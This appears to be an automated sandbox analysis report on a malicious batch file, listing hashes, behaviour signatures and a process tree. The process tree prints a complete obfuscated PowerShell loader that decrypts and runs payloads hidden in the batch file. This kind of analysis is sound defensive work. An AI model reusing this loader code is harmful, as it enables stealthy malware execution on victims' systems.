Analysis

  • max time kernel
    44s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    12/06/2024, 22:05

General

  • Target

    JC_FUCKER.bat

  • Size

    9.4MB

  • MD5

    56a787737f38ccf89a52a0ecef3fa02f

  • SHA1

    37bc3a8bf4cb02f466a4aed0c29e6624f1f0afd4

  • SHA256

    2f10b92e2eb2603d9a175de8612e0a019de6120a08e9692fb257d6762fcb9d5b

  • SHA512

    006590f8af3517b30a021cd1ddd14d9e07acf6e99c035c73f4bdd3433771679ee3798004a6cf2f3d4cdcc9bacb4274ee650e7d48ec8309cf9631dad735f9846d

  • SSDEEP

    49152:XL6IQA9BF+ibdjFpF9N1J8HGzCGSJxd1ENOLMZ3Sni9Ygyd5n9yuw/kr/Xs6axAJ:Xo

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a5AmTdD8faRft+SqfDPSFc9Rvu/tk70svhnIX8ES+G4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xEm8WGDhNqD+yqx3I6F6VQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YCDLx=New-Object System.IO.MemoryStream(,$param_var); $hdstP=New-Object System.IO.MemoryStream; $KDiDZ=New-Object System.IO.Compression.GZipStream($YCDLx, [IO.Compression.CompressionMode]::Decompress); $KDiDZ.CopyTo($hdstP); $KDiDZ.Dispose(); $YCDLx.Dispose(); $hdstP.Dispose(); $hdstP.ToArray();}function execute_function($param_var,$param2_var){ $lUoiF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $MXsDF=$lUoiF.EntryPoint; $MXsDF.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat';$TbpgT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\JC_FUCKER.bat').Split([Environment]::NewLine);foreach ($WBZwa in $TbpgT) { if ($WBZwa.StartsWith(':: ')) { $WWajZ=$WBZwa.Substring(3); break; }}$payloads_var=[string[]]$WWajZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1756

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/1756-4-0x000007FEF5D2E000-0x000007FEF5D2F000-memory.dmp

    Filesize

    4KB

  • memory/1756-5-0x000000001B790000-0x000000001BA72000-memory.dmp

    Filesize

    2.9MB

  • memory/1756-6-0x00000000023A0000-0x00000000023A8000-memory.dmp

    Filesize

    32KB

  • memory/1756-7-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

    Filesize

    9.6MB

  • memory/1756-8-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

    Filesize

    9.6MB

  • memory/1756-9-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

    Filesize

    9.6MB

  • memory/1756-10-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

    Filesize

    9.6MB

  • memory/1756-12-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

    Filesize

    9.6MB

  • memory/1756-11-0x000007FEF5A70000-0x000007FEF640D000-memory.dmp

    Filesize

    9.6MB